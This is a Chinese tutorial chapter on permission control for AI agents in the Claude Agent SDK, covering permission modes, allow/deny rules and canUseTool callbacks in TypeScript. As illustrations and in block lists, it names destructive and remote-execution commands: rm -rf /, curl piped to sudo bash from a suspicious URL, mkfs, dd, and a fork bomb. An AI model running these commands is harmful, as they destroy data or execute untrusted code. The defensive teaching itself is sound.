第6章:权限控制 —— 给 Agent 划安全红线
一句话:学会控制 Agent 的权限,让它只做你允许的事,不做你不让做的事。
本章目标
- 理解为什么 Agent 需要权限控制
- 掌握四种权限模式(default、acceptEdits、bypassPermissions、plan)的区别和用法
- 学会配置精细化的权限规则(allow / deny / ask)
- 能用
canUseTool回调实现运行时动态权限决策
前置知识
- 已完成第4章(query() 函数的基本用法)
- 已完成第5章(了解内置工具有哪些)
6.1 为什么需要权限?
先想一个问题
你招了一个新员工,第一天上班。你会直接把公司所有钥匙、所有密码、所有银行账号都给他吗?
正常人肯定不会。你会先给他有限的权限 —— 他能进自己的工位,能用公共会议室,但不能进财务室,不能碰服务器。等你信任他了,再逐步放权。
Agent 也是一样的道理。
Agent 能干什么?
回忆一下第5章,我们学了 Agent 的内置工具:
- Bash:能执行任何命令行命令
- Write:能写入任何文件
- Edit:能修改任何文件
- WebFetch:能访问任何网页
注意到了吗?关键词是 "任何"。如果不加限制,Agent 理论上可以:
- 执行
rm -rf /,删掉你整个硬盘 - 执行
curl ... | sh,从网上下载并运行恶意脚本 - 把你的 SSH 密钥、环境变量、密码文件全部读出来
- 往你的代码仓库里写入恶意代码并 push 到远程
恐怖故事:没有权限控制会怎样
来看一个虚构但完全可能发生的场景:
你:请帮我清理一下项目里的临时文件。
Agent 的思考过程:
"用户想清理临时文件,我来执行清理命令..."
Agent 执行了:
rm -rf ./tmp ../tmp /tmp/*
结果:
不仅删了项目临时文件,还把系统的 /tmp 也清了,
甚至因为路径写错,连上级目录的东西也删了。
这还算轻的。更可怕的是:
你:帮我部署一下这个应用。
Agent 的思考过程:
"需要安装依赖,我来执行..."
Agent 执行了:
curl -fsSL https://某个可疑网址/setup.sh | sudo bash
结果:
Agent 从网上下载了一个脚本并用 root 权限执行了。
至于这个脚本干了什么...谁知道呢?
权限 = 红线
权限控制的本质就是给 Agent 画红线:
- 绿线(允许):这些事你可以放手去做,不用问我
- 黄线(询问):这些事做之前先问我一声
- 红线(禁止):这些事绝对不能做,问都别问
打个比方,就像你给新员工一张门禁卡:
| 区域 | 权限 | 类比到 Agent |
|---|---|---|
| 自己的工位 | 随便进 | 读取文件(Read) |
| 公共会议室 | 随便用 | 搜索文件(Glob、Grep) |
| 经理办公室 | 需要审批 | 修改文件(Write、Edit) |
| 服务器机房 | 需要特别审批 | 执行命令(Bash) |
| 金库 | 绝对禁止 | 删除文件、执行危险命令 |
理解了为什么需要权限,接下来我们看 SDK 提供了哪些权限控制手段。
6.2 四种权限模式
Claude Agent SDK 提供了四种预设的权限模式,从严到松分别是:
plan(最严)→ default → acceptEdits → bypassPermissions(最松)
我们一个一个来看。
模式一:default —— 遇事就问你
一句话解释:Agent 遇到需要执行工具的操作时,都会停下来问你"我能不能做这个?"
适用场景:新手学习、重要项目、生产环境
行为特点:
- Agent 想读文件?问你。
- Agent 想写文件?问你。
- Agent 想执行命令?问你。
- 你说"可以",它才做;你说"不行",它就不做。
代码示例:
import { query, type ClaudeAgentOptions } from "@anthropic-ai/claude-agent-sdk";
// default 模式:最安全的起步方式
const options: ClaudeAgentOptions = {
prompt: "帮我看看当前目录有哪些文件,然后创建一个 hello.txt",
options: {
allowedTools: ["Bash", "Read", "Write"],
permissionMode: "default", // 遇到敏感操作就问用户
},
};
for await (const message of query(options)) {
if (message.type === "assistant") {
console.log("[Agent]:", message.content);
}
if (message.type === "result") {
console.log("[完成]:", message.result);
}
}
运行时你会看到类似这样的交互:
Agent 想要使用工具: Bash
命令: ls -la
是否允许?(y/n): y
[Agent]: 当前目录有以下文件:
- package.json
- tsconfig.json
- src/
Agent 想要使用工具: Write
文件: ./hello.txt
内容: Hello, World!
是否允许?(y/n): y
[Agent]: 已创建 hello.txt 文件。
给新手的建议:刚开始学的时候就用
default模式。虽然每次都要手动确认有点烦,但这能让你清楚看到 Agent 到底在干什么。等你熟悉了再放宽权限。
模式二:acceptEdits —— 文件操作自动批准
一句话解释:Agent 可以自由读写文件,但执行命令等其他操作还是要问你。
适用场景:日常开发、代码生成、文档编写
行为特点:
- 读文件(Read)?直接做,不问。
- 写文件(Write)?直接做,不问。
- 改文件(Edit)?直接做,不问。
- 执行命令(Bash)?停下来问你。
- 搜索文件(Glob、Grep)?直接做,不问。
代码示例:
import { query } from "@anthropic-ai/claude-agent-sdk";
// acceptEdits 模式:适合写代码的场景
for await (const message of query({
prompt: "帮我创建一个 Express 的 Hello World 项目",
options: {
allowedTools: ["Bash", "Read", "Write", "Edit", "Glob"],
permissionMode: "acceptEdits", // 文件操作自动批准
},
})) {
if (message.type === "assistant") {
console.log("[Agent]:", message.content);
}
}
运行时的行为:
[Agent]: 好的,我来帮你创建项目。
(Agent 直接创建了 package.json,没问你)
(Agent 直接创建了 index.js,没问你)
(Agent 直接创建了 .gitignore,没问你)
Agent 想要使用工具: Bash
命令: npm install express
是否允许?(y/n): y
(Agent 执行 npm install)
[Agent]: 项目创建完成!运行 node index.js 即可启动。
看到区别了吗?文件操作全部自动通过了,只有 npm install 这个 Bash 命令需要你确认。
这个模式的逻辑是:文件操作相对安全(最多改错了可以用 git 恢复),但命令执行可能有风险(装了恶意包就麻烦了),所以文件放行、命令要审。
模式三:bypassPermissions —— 全部放行
一句话解释:Agent 做什么都不需要你批准,完全自主。
适用场景:仅限本地测试、一次性脚本、你完全信任的任务
代码示例:
import { query } from "@anthropic-ai/claude-agent-sdk";
// bypassPermissions 模式:全部放行,不问任何问题
for await (const message of query({
prompt: "帮我初始化一个 React 项目并安装依赖",
options: {
allowedTools: ["Bash", "Read", "Write", "Edit"],
permissionMode: "bypassPermissions", // 所有操作自动批准
},
})) {
if (message.type === "assistant") {
console.log("[Agent]:", message.content);
}
}
运行时的行为:
[Agent]: 好的,我来帮你创建 React 项目。
(Agent 直接执行 npx create-react-app my-app,没问你)
(Agent 直接执行 cd my-app && npm install,没问你)
(Agent 直接修改了配置文件,没问你)
[Agent]: React 项目创建完成!
全程不需要你确认任何操作。
警告:这个模式非常危险!请只在以下情况使用:
- 你在一个隔离的 Docker 容器里运行
- 你对 prompt 内容完全可控(不是用户输入的)
- 你只是在本地测试,数据丢了也无所谓
- 你配合了精细化权限规则(6.3 节会讲)来限制具体行为
绝对不要在生产环境对用户输入使用 bypassPermissions!
模式四:plan —— 只许看不许动
一句话解释:Agent 只能思考和规划,不能执行任何操作。
适用场景:方案评审、任务预览、安全审计
行为特点:
- Agent 会分析你的需求
- Agent 会列出它打算做什么
- Agent 会说明它会用什么工具、传什么参数
- 但它不会真的去做!
代码示例:
import { query } from "@anthropic-ai/claude-agent-sdk";
// plan 模式:只做计划,不执行任何操作
for await (const message of query({
prompt: "帮我重构 src/utils.ts 文件,把所有函数都加上类型注解",
options: {
allowedTools: ["Bash", "Read", "Write", "Edit", "Glob", "Grep"],
permissionMode: "plan", // 只读模式,Agent 只能规划
},
})) {
if (message.type === "assistant") {
console.log("[Agent 的计划]:", message.content);
}
}
运行时的输出:
[Agent 的计划]:
我分析了你的需求,以下是我的重构计划:
1. 首先,我会用 Glob 找到 src/utils.ts 文件
2. 然后用 Read 读取文件内容
3. 分析每个函数的参数和返回值
4. 用 Edit 工具进行以下修改:
- formatDate(date) → formatDate(date: Date): string
- parseJSON(str) → parseJSON(str: string): unknown
- debounce(fn, delay) → debounce(fn: Function, delay: number): Function
5. 最后用 Bash 运行 tsc --noEmit 检查类型是否正确
预计修改 3 个函数,影响 1 个文件。
如果你同意这个计划,请用非 plan 模式重新运行。
plan 模式的妙用:
你可以把它当成"预览"功能。先让 Agent 用 plan 模式看看它打算干什么,觉得没问题了,再切换到其他模式让它真的去做。这在重要操作前特别有用:
// 第一步:先用 plan 模式看看 Agent 的计划
console.log("=== 预览模式 ===");
for await (const message of query({
prompt: "删除项目中所有未使用的依赖",
options: {
allowedTools: ["Bash", "Read", "Glob", "Grep"],
permissionMode: "plan",
},
})) {
if (message.type === "assistant") {
console.log(message.content);
}
}
// 第二步:确认没问题后,用 default 模式执行
console.log("\n=== 执行模式 ===");
for await (const message of query({
prompt: "删除项目中所有未使用的依赖",
options: {
allowedTools: ["Bash", "Read", "Glob", "Grep"],
permissionMode: "default",
},
})) {
if (message.type === "assistant") {
console.log(message.content);
}
}
四种模式对比总结
| 模式 | 文件读取 | 文件写入 | 命令执行 | 安全级别 | 适用场景 |
|---|---|---|---|---|---|
plan |
不执行 | 不执行 | 不执行 | 最高 | 方案预览、安全审计 |
default |
需确认 | 需确认 | 需确认 | 高 | 新手学习、生产环境 |
acceptEdits |
自动 | 自动 | 需确认 | 中 | 日常开发 |
bypassPermissions |
自动 | 自动 | 自动 | 低 | 本地测试(需配合沙箱) |
6.3 精细化权限规则
四种权限模式是"粗粒度"的控制 —— 要么全问,要么全不问。但实际场景中,你经常需要更精细的控制:
- "Bash 可以用,但只能执行
npm和git命令" - "文件可以读,但不能读
.env文件" - "可以写文件,但只能写到
/tmp目录"
这时候就需要 精细化权限规则。
三种规则类型
| 规则类型 | 含义 | 效果 |
|---|---|---|
allow |
明确允许 | 直接放行,不问用户 |
deny |
明确拒绝 | 直接拒绝,Agent 会收到"权限被拒绝"的提示 |
ask |
需要询问 | 暂停执行,等待用户确认 |
规则的匹配逻辑
当 Agent 要用一个工具时,SDK 按以下顺序检查:
1. 先检查 Hooks(如果有的话)
2. 再检查精细化规则(allow / deny / ask)
3. 最后看权限模式(default / acceptEdits / ...)
如果精细化规则命中了,就用规则的结果;如果没命中任何规则,就回退到权限模式的默认行为。
规则优先级:deny > ask > allow
也就是说,如果一个操作同时被 allow 和 deny 规则匹配到了,deny 赢。
实战:配置精细化规则
精细化规则通过 permissionRules 配置项传入。下面看几个真实场景。
场景一:允许读任何文件,但禁止读 .env 文件
import { query } from "@anthropic-ai/claude-agent-sdk";
for await (const message of query({
prompt: "请检查项目的配置文件",
options: {
allowedTools: ["Read", "Glob", "Grep"],
permissionMode: "default",
permissionRules: [
// 允许读取任何文件
{
tool: "Read",
decision: "allow",
},
// 但是!禁止读 .env 文件(deny 优先级更高)
{
tool: "Read",
decision: "deny",
matchCondition: {
file_path: "**/.env*" // 匹配所有 .env 开头的文件
}
},
],
},
})) {
if (message.type === "assistant") {
console.log(message.content);
}
}
场景二:Bash 只能执行 npm 和 git 命令
import { query } from "@anthropic-ai/claude-agent-sdk";
for await (const message of query({
prompt: "帮我安装依赖并查看 git 状态",
options: {
allowedTools: ["Bash", "Read", "Write"],
permissionMode: "default",
permissionRules: [
// 允许 npm 命令
{
tool: "Bash",
decision: "allow",
matchCondition: {
command: "npm *" // 以 npm 开头的命令
}
},
// 允许 git 命令
{
tool: "Bash",
decision: "allow",
matchCondition: {
command: "git *" // 以 git 开头的命令
}
},
// 禁止所有其他 Bash 命令
{
tool: "Bash",
decision: "deny",
},
],
},
})) {
if (message.type === "assistant") {
console.log(message.content);
}
}
这里有个关键细节:规则是按顺序匹配的,但 deny 优先级始终高于 allow。在上面的例子中:
- Agent 执行
npm install→ 匹配到第一条 allow 规则 → 放行 - Agent 执行
git status→ 匹配到第二条 allow 规则 → 放行 - Agent 执行
rm -rf /→ 没匹配到任何 allow,匹配到最后的 deny → 拒绝
场景三:只允许在指定目录内写文件
import { query } from "@anthropic-ai/claude-agent-sdk";
const projectDir = "/home/user/my-project";
for await (const message of query({
prompt: "帮我生成一些测试文件",
options: {
allowedTools: ["Write", "Read", "Bash"],
permissionMode: "default",
permissionRules: [
// 允许在项目目录内写文件
{
tool: "Write",
decision: "allow",
matchCondition: {
file_path: `${projectDir}/**`
}
},
// 禁止在其他地方写文件
{
tool: "Write",
decision: "deny",
},
// 同样限制 Edit
{
tool: "Edit",
decision: "allow",
matchCondition: {
file_path: `${projectDir}/**`
}
},
{
tool: "Edit",
decision: "deny",
},
],
},
})) {
if (message.type === "assistant") {
console.log(message.content);
}
}
场景四:禁止危险的 Bash 命令
import { query } from "@anthropic-ai/claude-agent-sdk";
for await (const message of query({
prompt: "帮我整理一下项目",
options: {
allowedTools: ["Bash", "Read", "Write", "Edit", "Glob"],
permissionMode: "acceptEdits",
permissionRules: [
// 禁止 rm 命令(删除文件)
{
tool: "Bash",
decision: "deny",
matchCondition: { command: "rm *" }
},
// 禁止 sudo 命令(提权)
{
tool: "Bash",
decision: "deny",
matchCondition: { command: "sudo *" }
},
// 禁止 curl 管道到 sh/bash(危险的远程执行)
{
tool: "Bash",
decision: "deny",
matchCondition: { command: "*| sh*" }
},
{
tool: "Bash",
decision: "deny",
matchCondition: { command: "*| bash*" }
},
// 禁止 kill 命令
{
tool: "Bash",
decision: "deny",
matchCondition: { command: "kill *" }
},
// 禁止 chmod/chown(修改权限)
{
tool: "Bash",
decision: "deny",
matchCondition: { command: "chmod *" }
},
{
tool: "Bash",
decision: "deny",
matchCondition: { command: "chown *" }
},
],
},
})) {
if (message.type === "assistant") {
console.log(message.content);
}
}
规则匹配的注意事项
- 通配符:
*匹配任意字符,**在路径中匹配多级目录 - 规则顺序:虽然规则是按顺序写的,但 deny 始终优先于 allow
- 没有匹配:如果没有任何规则匹配,就回退到 permissionMode 的默认行为
- 工具名称:用的是工具的标准名称,如
Bash、Read、Write、Edit、Glob、Grep
6.4 canUseTool 回调 —— 运行时动态决策
精细化规则虽然强大,但它是"静态"的 —— 在 Agent 启动前就定好了。有些场景需要"动态"决策:
- 根据当前时间决定是否允许(比如下班时间不允许部署)
- 根据已经执行的操作数量决定(比如最多修改 5 个文件)
- 根据具体参数的复杂逻辑决定(比如只允许写入特定格式的文件)
- 需要实时询问用户确认
这时候就需要 canUseTool 回调。
基本概念
canUseTool 是一个你定义的函数,每当 Agent 要使用工具时,SDK 会调用这个函数。你可以在函数里检查工具名称、参数等信息,然后返回"允许"、"拒绝"或"需要用户确认"。
完整代码示例
import { query } from "@anthropic-ai/claude-agent-sdk";
import * as readline from "readline";
// 创建 readline 接口,用于在终端里问用户
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
// 封装一个异步的提问函数
function askUser(question: string): Promise<string> {
return new Promise((resolve) => {
rl.question(question, (answer) => {
resolve(answer.trim().toLowerCase());
});
});
}
// 记录操作次数
let writeCount = 0;
const MAX_WRITES = 5;
for await (const message of query({
prompt: "帮我重构 src 目录下的所有 TypeScript 文件",
options: {
allowedTools: ["Read", "Write", "Edit", "Glob", "Grep", "Bash"],
permissionMode: "bypassPermissions", // 基础设为全部放行
// canUseTool 回调:每次工具调用都会触发
canUseTool: async (toolName, toolInput) => {
console.log(`\n[权限检查] Agent 想使用 ${toolName}`);
// ============================================
// 规则1:Read 和搜索工具始终允许
// ============================================
if (["Read", "Glob", "Grep"].includes(toolName)) {
console.log(` → 自动允许:只读操作`);
return { allowed: true };
}
// ============================================
// 规则2:Write/Edit 最多允许 5 次
// ============================================
if (toolName === "Write" || toolName === "Edit") {
writeCount++;
if (writeCount > MAX_WRITES) {
console.log(` → 自动拒绝:已经修改了 ${MAX_WRITES} 个文件,达到上限`);
return {
allowed: false,
reason: `已达到最大修改文件数限制(${MAX_WRITES}),请先确认已修改的文件再继续。`
};
}
// 检查文件路径:只允许写入 src 目录
const filePath = toolInput.file_path || toolInput.path || "";
if (!filePath.includes("/src/")) {
console.log(` → 自动拒绝:不允许修改 src 目录以外的文件`);
return {
allowed: false,
reason: "只允许修改 src 目录下的文件"
};
}
console.log(` → 自动允许:src 目录内的文件修改 (${writeCount}/${MAX_WRITES})`);
return { allowed: true };
}
// ============================================
// 规则3:Bash 命令需要用户手动确认
// ============================================
if (toolName === "Bash") {
const command = toolInput.command || "";
console.log(` 命令: ${command}`);
// 有些命令直接禁止,问都不用问
const dangerousPatterns = ["rm -rf", "sudo", "kill -9", "mkfs", "dd if="];
for (const pattern of dangerousPatterns) {
if (command.includes(pattern)) {
console.log(` → 自动拒绝:检测到危险命令 "${pattern}"`);
return {
allowed: false,
reason: `命令包含危险操作 "${pattern}",已被自动拒绝`
};
}
}
// 其他 Bash 命令,问用户
const answer = await askUser(` 是否允许执行?(y/n): `);
if (answer === "y" || answer === "yes") {
return { allowed: true };
} else {
return {
allowed: false,
reason: "用户拒绝了此操作"
};
}
}
// ============================================
// 规则4:其他工具默认需要用户确认
// ============================================
const answer = await askUser(
` 允许 ${toolName} 操作吗?(y/n): `
);
return {
allowed: answer === "y" || answer === "yes"
};
},
},
})) {
if (message.type === "assistant") {
console.log("\n[Agent]:", message.content);
}
if (message.type === "result") {
console.log("\n[完成]:", message.result);
rl.close();
}
}
运行效果
[Agent]: 好的,我先看看 src 目录下有哪些 TypeScript 文件。
[权限检查] Agent 想使用 Glob
→ 自动允许:只读操作
[权限检查] Agent 想使用 Read
→ 自动允许:只读操作
[Agent]: 找到 3 个文件,我来逐个重构。
[权限检查] Agent 想使用 Edit
→ 自动允许:src 目录内的文件修改 (1/5)
[权限检查] Agent 想使用 Edit
→ 自动允许:src 目录内的文件修改 (2/5)
[权限检查] Agent 想使用 Bash
命令: npx tsc --noEmit
是否允许执行?(y/n): y
[权限检查] Agent 想使用 Edit
→ 自动允许:src 目录内的文件修改 (3/5)
[Agent]: 重构完成!所有文件已添加类型注解。
canUseTool 的返回值详解
// 允许操作
return { allowed: true };
// 拒绝操作,并告诉 Agent 原因
return {
allowed: false,
reason: "不允许修改配置文件"
};
// Agent 收到 reason 后,会尝试换一种方式完成任务
当你返回 { allowed: false, reason: "..." } 时,SDK 会把这个 reason 作为工具执行的结果反馈给 Agent。Agent 看到被拒绝后,通常会:
- 尝试换一种方式完成任务(比如用 Edit 代替 Write)
- 跳过这个步骤,继续做其他事
- 告诉你"我没有权限做这个,请你手动处理"
更高级的用法:基于时间的权限控制
canUseTool: async (toolName, toolInput) => {
const hour = new Date().getHours();
// 晚上10点到早上8点之间,禁止写入操作
if (hour >= 22 || hour < 8) {
if (["Write", "Edit", "Bash"].includes(toolName)) {
return {
allowed: false,
reason: "当前是非工作时间(22:00-08:00),禁止写入操作。请在工作时间再试。"
};
}
}
return { allowed: true };
}
更高级的用法:操作审计日志
import * as fs from "fs";
const auditLog: Array<{
timestamp: string;
tool: string;
input: any;
decision: string;
}> = [];
canUseTool: async (toolName, toolInput) => {
const entry = {
timestamp: new Date().toISOString(),
tool: toolName,
input: toolInput,
decision: "allowed", // 先假设允许,后面可能改
};
// 你的权限判断逻辑...
const allowed = true; // 简化示例
if (!allowed) {
entry.decision = "denied";
}
// 记录审计日志
auditLog.push(entry);
// 每次都写入文件,确保不丢失
fs.writeFileSync(
"agent-audit.json",
JSON.stringify(auditLog, null, 2)
);
return { allowed };
}
审计日志文件长这样:
[
{
"timestamp": "2026-02-25T10:30:15.123Z",
"tool": "Read",
"input": { "file_path": "/home/user/project/src/index.ts" },
"decision": "allowed"
},
{
"timestamp": "2026-02-25T10:30:16.456Z",
"tool": "Bash",
"input": { "command": "npm test" },
"decision": "allowed"
},
{
"timestamp": "2026-02-25T10:30:20.789Z",
"tool": "Bash",
"input": { "command": "rm -rf node_modules" },
"decision": "denied"
}
]
6.5 权限设计的最佳实践
学完了所有权限控制手段,最后总结一下在实际项目中应该怎么设计权限。
原则一:最小权限原则
给 Agent 的权限应该是完成任务所需的最小权限,不多给一点。
// 不好的做法:给了一堆用不到的工具
const options = {
prompt: "帮我分析这段代码的复杂度",
options: {
allowedTools: ["Read", "Write", "Edit", "Bash", "Glob", "Grep", "WebSearch", "WebFetch"],
permissionMode: "bypassPermissions",
},
};
// 好的做法:只给需要的工具
const options = {
prompt: "帮我分析这段代码的复杂度",
options: {
allowedTools: ["Read", "Glob", "Grep"], // 分析代码只需要读取和搜索
permissionMode: "default",
},
};
原则二:从严开始,逐步放宽
新项目、新任务,先用严格的权限。确认没问题后再放宽。
// 第一次运行:用最严的 default 模式,看看 Agent 会做什么
permissionMode: "default"
// 观察几次后,发现文件操作都没问题:升级到 acceptEdits
permissionMode: "acceptEdits"
// 在 Docker 容器里跑,完全可控:可以考虑 bypassPermissions
permissionMode: "bypassPermissions"
原则三:不同环境用不同权限
function getPermissionMode(): string {
const env = process.env.NODE_ENV || "development";
switch (env) {
case "production":
return "default"; // 生产环境:最严
case "staging":
return "acceptEdits"; // 测试环境:中等
case "development":
return "acceptEdits"; // 开发环境:中等
case "test":
return "bypassPermissions"; // 自动化测试:最松(在容器里跑)
default:
return "default";
}
}
const options = {
prompt: taskDescription,
options: {
allowedTools: ["Read", "Write", "Edit", "Bash", "Glob", "Grep"],
permissionMode: getPermissionMode(),
},
};
原则四:记录所有工具调用
不管权限模式是什么,都应该记录 Agent 做了什么。万一出了问题,你可以回溯。
canUseTool: async (toolName, toolInput) => {
// 不管允不允许,都记一笔
console.log(`[AUDIT] ${new Date().toISOString()} | ${toolName} | ${JSON.stringify(toolInput).slice(0, 200)}`);
// 然后再做权限判断...
return { allowed: true };
}
原则五:给 Agent 解释为什么被拒绝
当你拒绝 Agent 的操作时,一定要给一个有用的 reason。Agent 会根据这个理由调整行为:
// 不好的做法:只说"不行"
return { allowed: false };
// 好的做法:说清楚为什么不行,以及该怎么做
return {
allowed: false,
reason: "不允许直接用 rm 删除文件。如果需要清理,请用 git clean -n 先预览要删除的文件列表,然后我来手动确认。"
};
权限配置速查表
| 场景 | 推荐模式 | 推荐规则 |
|---|---|---|
| 学习 / 探索 | default |
无特殊规则 |
| 写代码 / 生成文件 | acceptEdits |
限制写入目录 |
| 代码审查(只读) | plan 或 default |
只给 Read、Glob、Grep |
| CI/CD 自动化 | bypassPermissions |
配合 Docker 容器 + deny 危险命令 |
| 处理敏感数据 | default |
deny 所有网络工具,限制文件读取范围 |
| 用户直接输入 prompt | default |
canUseTool 全量审计 |
动手练习
练习1:配置一个"只读 Agent"
目标:创建一个只能看、不能改的 Agent。它可以读文件、搜索代码,但不能修改任何东西。
import { query } from "@anthropic-ai/claude-agent-sdk";
/**
* 练习1:只读 Agent
*
* 这个 Agent 可以:
* - 读取任何文件
* - 搜索文件和内容
* - 分析代码
*
* 这个 Agent 不能:
* - 写入或修改文件
* - 执行任何命令
* - 访问网络
*/
async function readOnlyAgent(prompt: string) {
console.log("=== 只读 Agent 启动 ===");
console.log(`任务: ${prompt}\n`);
for await (const message of query({
prompt,
options: {
// 只给只读工具
allowedTools: ["Read", "Glob", "Grep"],
// 用 default 模式作为保底
permissionMode: "default",
// 额外的精细化规则
permissionRules: [
// 允许所有 Read 操作
{ tool: "Read", decision: "allow" },
// 允许所有 Glob 操作
{ tool: "Glob", decision: "allow" },
// 允许所有 Grep 操作
{ tool: "Grep", decision: "allow" },
],
},
})) {
if (message.type === "assistant") {
console.log("[Agent]:", message.content);
}
if (message.type === "result") {
console.log("\n=== 任务完成 ===");
console.log("结果:", message.result);
}
}
}
// 运行:让 Agent 分析项目结构
readOnlyAgent("请分析当前项目的目录结构,找到所有 TypeScript 文件,并统计总行数。");
运行这段代码:Agent 会读取文件、搜索目录,但如果它试图写文件或执行命令(虽然我们没给它这些工具,但以防万一),都会被拒绝。
练习2:配置一个"安全沙箱"
目标:Agent 可以执行 Bash 命令,但限制只能执行特定的安全命令。
import { query } from "@anthropic-ai/claude-agent-sdk";
/**
* 练习2:安全沙箱 Agent
*
* 允许的命令:npm, node, git, ls, cat, echo, pwd, which
* 禁止的命令:rm, sudo, kill, chmod, chown, curl|sh, wget|sh
*/
// 安全命令白名单
const SAFE_COMMANDS = [
"npm",
"npx",
"node",
"git",
"ls",
"cat",
"echo",
"pwd",
"which",
"tsc",
"prettier",
"eslint",
];
// 危险命令黑名单
const DANGEROUS_PATTERNS = [
"rm -rf",
"rm -r",
"sudo",
"kill",
"chmod",
"chown",
"mkfs",
"dd if=",
"| sh",
"| bash",
"| zsh",
"> /dev",
":(){ :|:& };:", // fork bomb
];
async function sandboxAgent(prompt: string) {
console.log("=== 安全沙箱 Agent 启动 ===");
console.log(`任务: ${prompt}\n`);
for await (const message of query({
prompt,
options: {
allowedTools: ["Bash", "Read", "Write", "Edit", "Glob", "Grep"],
permissionMode: "acceptEdits", // 文件操作自动批准
canUseTool: async (toolName, toolInput) => {
// 非 Bash 工具直接放行(文件操作由 acceptEdits 管理)
if (toolName !== "Bash") {
return { allowed: true };
}
const command = (toolInput.command || "").trim();
console.log(`\n[沙箱] 检查命令: ${command}`);
// 第一步:检查是否包含危险模式
for (const pattern of DANGEROUS_PATTERNS) {
if (command.includes(pattern)) {
console.log(`[沙箱] 拒绝!包含危险模式: "${pattern}"`);
return {
allowed: false,
reason: `命令包含危险操作 "${pattern}"。在安全沙箱中,此操作被禁止。`
};
}
}
// 第二步:检查命令是否以安全命令开头
const firstWord = command.split(/\s/)[0];
// 处理路径形式的命令,如 /usr/bin/node
const cmdName = firstWord.split("/").pop() || firstWord;
if (SAFE_COMMANDS.includes(cmdName)) {
console.log(`[沙箱] 允许:${cmdName} 在白名单中`);
return { allowed: true };
}
// 第三步:不在白名单中的命令,拒绝
console.log(`[沙箱] 拒绝:${cmdName} 不在安全命令白名单中`);
return {
allowed: false,
reason: `命令 "${cmdName}" 不在安全命令白名单中。允许的命令有:${SAFE_COMMANDS.join(", ")}。`
};
},
},
})) {
if (message.type === "assistant") {
console.log("\n[Agent]:", message.content);
}
if (message.type === "result") {
console.log("\n=== 任务完成 ===");
}
}
}
// 运行
sandboxAgent("帮我初始化一个 Node.js 项目,安装 express 和 typescript,然后创建一个简单的 Hello World 服务。");
运行效果:
=== 安全沙箱 Agent 启动 ===
任务: 帮我初始化一个 Node.js 项目...
[沙箱] 检查命令: npm init -y
[沙箱] 允许:npm 在白名单中
[沙箱] 检查命令: npm install express typescript
[沙箱] 允许:npm 在白名单中
[沙箱] 检查命令: npx tsc --init
[沙箱] 允许:npx 在白名单中
[Agent]: 项目创建完成!如果 Agent 尝试执行不在白名单中的命令,
会被自动拒绝并收到提示。
练习3:实现一个审批流程
目标:Agent 执行危险操作前,在终端等待你确认。确认后才继续,拒绝则跳过。
import { query } from "@anthropic-ai/claude-agent-sdk";
import * as readline from "readline";
/**
* 练习3:交互式审批 Agent
*
* - 读取操作:自动放行
* - 文件写入:显示变更预览,等待确认
* - Bash 命令:显示命令详情,等待确认
* - 危险操作:自动拒绝
*/
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
function ask(question: string): Promise<string> {
return new Promise((resolve) => {
rl.question(question, (answer) => resolve(answer.trim().toLowerCase()));
});
}
// 用颜色让终端输出更直观(ANSI 转义码)
const colors = {
green: (s: string) => `\x1b[32m${s}\x1b[0m`,
red: (s: string) => `\x1b[31m${s}\x1b[0m`,
yellow: (s: string) => `\x1b[33m${s}\x1b[0m`,
blue: (s: string) => `\x1b[34m${s}\x1b[0m`,
gray: (s: string) => `\x1b[90m${s}\x1b[0m`,
};
async function approvalAgent(prompt: string) {
console.log(colors.blue("=== 审批模式 Agent 启动 ==="));
console.log(`任务: ${prompt}\n`);
let approvedCount = 0;
let deniedCount = 0;
for await (const message of query({
prompt,
options: {
allowedTools: ["Bash", "Read", "Write", "Edit", "Glob", "Grep"],
permissionMode: "bypassPermissions",
canUseTool: async (toolName, toolInput) => {
// 只读操作:自动放行,不打扰用户
if (["Read", "Glob", "Grep"].includes(toolName)) {
return { allowed: true };
}
// 打印分隔线
console.log("\n" + colors.yellow("─".repeat(60)));
console.log(colors.yellow(`[审批请求] Agent 想要执行 ${toolName}`));
console.log(colors.yellow("─".repeat(60)));
// 根据工具类型显示不同的信息
if (toolName === "Bash") {
const command = toolInput.command || "";
console.log(` 命令: ${colors.blue(command)}`);
// 危险命令自动拒绝
if (/rm\s+-rf|sudo|kill\s+-9|mkfs|dd\s+if=/.test(command)) {
console.log(colors.red(" [自动拒绝] 检测到危险命令!"));
deniedCount++;
return {
allowed: false,
reason: "检测到危险命令,已被安全策略自动拒绝。"
};
}
}
if (toolName === "Write") {
const filePath = toolInput.file_path || "未知路径";
const content = toolInput.content || "";
console.log(` 目标文件: ${colors.blue(filePath)}`);
console.log(` 内容预览 (前 200 字符):`);
console.log(colors.gray(" " + content.slice(0, 200).replace(/\n/g, "\n ")));
if (content.length > 200) {
console.log(colors.gray(` ... (共 ${content.length} 字符)`));
}
}
if (toolName === "Edit") {
const filePath = toolInput.file_path || "未知路径";
const oldStr = toolInput.old_string || "";
const newStr = toolInput.new_string || "";
console.log(` 目标文件: ${colors.blue(filePath)}`);
console.log(` 删除内容: ${colors.red(oldStr.slice(0, 100))}`);
console.log(` 替换为: ${colors.green(newStr.slice(0, 100))}`);
}
// 等待用户确认
console.log();
const answer = await ask(
` ${colors.yellow("允许此操作?")} [y]允许 / [n]拒绝 / [a]查看全部参数: `
);
if (answer === "a") {
// 显示完整参数
console.log(colors.gray("\n 完整参数:"));
console.log(colors.gray(" " + JSON.stringify(toolInput, null, 2).replace(/\n/g, "\n ")));
// 再次询问
const answer2 = await ask(`\n ${colors.yellow("允许此操作?")} [y/n]: `);
if (answer2 === "y" || answer2 === "yes") {
approvedCount++;
console.log(colors.green(" [已批准]"));
return { allowed: true };
}
}
if (answer === "y" || answer === "yes") {
approvedCount++;
console.log(colors.green(" [已批准]"));
return { allowed: true };
}
deniedCount++;
console.log(colors.red(" [已拒绝]"));
return {
allowed: false,
reason: "操作被用户手动拒绝。请尝试其他方式或跳过此步骤。"
};
},
},
})) {
if (message.type === "assistant") {
console.log("\n[Agent]:", message.content);
}
if (message.type === "result") {
console.log("\n" + colors.blue("─".repeat(60)));
console.log(colors.blue("=== 任务完成 ==="));
console.log(` 已批准: ${colors.green(String(approvedCount))} 次`);
console.log(` 已拒绝: ${colors.red(String(deniedCount))} 次`);
console.log(colors.blue("─".repeat(60)));
rl.close();
}
}
}
// 运行
approvalAgent("帮我创建一个简单的 Express API 项目,包含健康检查接口和错误处理中间件。");
运行效果:
=== 审批模式 Agent 启动 ===
任务: 帮我创建一个简单的 Express API 项目...
